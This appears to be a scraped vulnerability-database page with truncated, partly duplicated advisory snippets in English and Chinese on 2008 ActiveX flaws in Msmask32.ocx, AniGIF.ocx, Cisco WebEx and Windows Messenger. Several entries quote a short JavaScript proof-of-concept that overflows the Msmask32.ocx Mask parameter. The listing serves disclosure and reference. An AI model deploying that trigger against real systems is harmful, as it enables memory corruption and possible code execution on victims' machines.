VulnCheck KEV: CVE-2008-3704

Heap-based buffer overflow in the MaskedEdit ActiveX control in Msmask32.ocx 6.0.81.69, and possibly other versions before 6.0.84.18, in Microsoft Visual Studio 6.0, Visual Basic 6.0, Visual Studio .NET 2002 SP1 and 2003 SP1, and Visual FoxPro 8.0 SP1 and 9.0 SP1 and SP2 allows remote attackers...

Cisco WebEx Meeting Manager ActiveX Control Buffer Overflow (CVE-2008-3558)

The Webex Meeting Manager is a client-side program that is provided by the Cisco Webex meeting service, an online collaboration suite. A buffer overflow vulnerability has been reported in the Cisco Webex Meeting Manager application.The vulnerability is due to a boundary error in a Cisco Webex...

Stack overflow

Multiple stack-based buffer overflows in the Animation GIF ActiveX control in JComSoft AniGIF.ocx 1.12 and 2.47, as used in products such as SpeedBit Download Accelerator Plus DAP 8.6, allow remote attackers to execute arbitrary code via a long argument to the 1 ReadGIF or 2 ReadGIF2 method...

CVE-2008-3702

Multiple stack-based buffer overflows in the Animation GIF ActiveX control in JComSoft AniGIF.ocx 1.12 and 2.47, as used in products such as SpeedBit Download Accelerator Plus DAP 8.6, allow remote attackers to execute arbitrary code via a long argument to the 1 ReadGIF or 2 ReadGIF2 method...

CVE-2008-3702

CVE-2008-3702 concerns the Animation GIF ActiveX control (AniGIF.ocx) used in JComSoft AniGIF 1.12 and 2.47, and in SpeedBit Download Accelerator Plus 8.6. It describes multiple stack-based buffer overflows that allow remote code execution via a long argument to the ReadGIF or ReadGIF2 methods. T...

Microsoft Windows Messenger ActiveX控件信息泄露漏洞（MS08-050）

BUGTRAQ ID: 30551 CVECAN ID: CVE-2008-0082 Windows Messenger是Windows操作系统中默认捆绑的即时聊天工具。 在安装Windows XP的时候会自动安装旧版本的MSN Messenger，这个版本打开MSN API运行ActiveX控件Messenger.UIAutomation.1并标记为safe。对这个控件执行脚本操作可能导致以登录用户的环境泄露信息。攻击者可以在登录用户不知情的情况下更改状态、获取联系人信息以及启动音频和视频聊天会话，还可以捕获用户的登录ID并以该用户的身份远程登录用户的Messenger客户端。...

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF PoC

No description provided by source. var body='OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" width="10"PARAM NAME="Mask" VALUE="'; var body1='"/OBJECT'; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1;...

Cisco WebEx Meeting Manager WebexUCFObject ActiveX Control stack buffer overflow

Overview The WebexUCFObject ActiveX control, which comes with Cisco WebEx Meeting Manager, contains a stack buffer overflow, which can allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. Description Cisco WebEx is an online meeting and collaboration software...

Microsoft Messenger unauthorized ActiveX access

Messenger.UIAutomation.1 ActiveX allows access to applciation functionality...

Microsoft IE XHTML渲染内存破坏漏洞（MS08-045）

BUGTRAQ ID: 30613,30610 CVECAN ID: CVE-2008-2258,CVE-2008-2257 Internet Explorer是微软操作系统中默认捆绑的WEB浏览器。 IE没有正确地处理HTML文档对象，如果以特定顺序附加对象的话，在渲染对象时会导致访问未初始化的内存，成功利用这个漏洞允许以当前登录用户的权限执行任意代码。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Interne...

Microsoft Windows Messenger Remote Illegal Access Vulnerability

Microsoft Windows Messenger Remote Illegal Access Vulnerability by cocoruderfrankruderathotmail.com http://ruder.cdut.net Summary: A remote illegal access vulnerability exists in Microsoft Windows Live Messenger. A vicious attacker can control the Live Messenger via constructing a malicious web...

Vulnerability in Cisco WebEx Meeting Manager ActiveX Control

THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES TH...

Microsoft Visual Studio 'Msmask32.ocx' ActiveX控件缓冲区溢出漏洞

BUGTRAQ ID: 30674 CNCAN ID：CNCAN-2008081404 Microsoft Visual Studio是一款微软公司的开发工具套件系列产品。 Microsoft Visual Studio包含的'Msmask32.ocx' ActiveX控件存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序权限执行任意指令。 问题存在于'Msmask32.ocx' ActiveX控件对参数的处理，构建恶意WEB页，诱使用户访问，可导致触发缓冲区溢出，可能以应用程序权限执行任意指令。 Microsoft Visual Studio 6.0 - Microsoft Window...

Microsoft Visual Studio - 'Msmask32.ocx' ActiveX Remote Buffer Overflow (PoC)

var body=''; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1; milw0rm.com 2008-08-14...

Microsoft Visual Studio - Msmask32.ocx ActiveX Remote Buffer Overflow (PoC)

Microsoft Visual Studio - Msmask32.ocx ActiveX Remote Buffer Overflow PoC var body=''; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1; milw0rm.com 2008-08-14...

msmask-activex.txt

var body=''; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1;...

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF PoC

Exploit for unknown platform in category dos / poc ============================================================= Microsoft Visual Studio Msmask32.ocx ActiveX Remote BOF PoC ============================================================= var body=''; var buf=''; for...

Code injection

An ActiveX control Messenger.UIAutomation.1 in Windows Messenger 4.7 and 5.1 is marked as safe-for-scripting, which allows remote attackers to control the Messenger application, and "change state," obtain contact information, and establish audio or video connections without notification via unkno...

CVE-2008-0082

An ActiveX control Messenger.UIAutomation.1 in Windows Messenger 4.7 and 5.1 is marked as safe-for-scripting, which allows remote attackers to control the Messenger application, and "change state," obtain contact information, and establish audio or video connections without notification via unkno...

CVE-2008-0082

An ActiveX control Messenger.UIAutomation.1 in Windows Messenger 4.7 and 5.1 is marked as safe-for-scripting, which allows remote attackers to control the Messenger application, and "change state," obtain contact information, and establish audio or video connections without notification via unkno...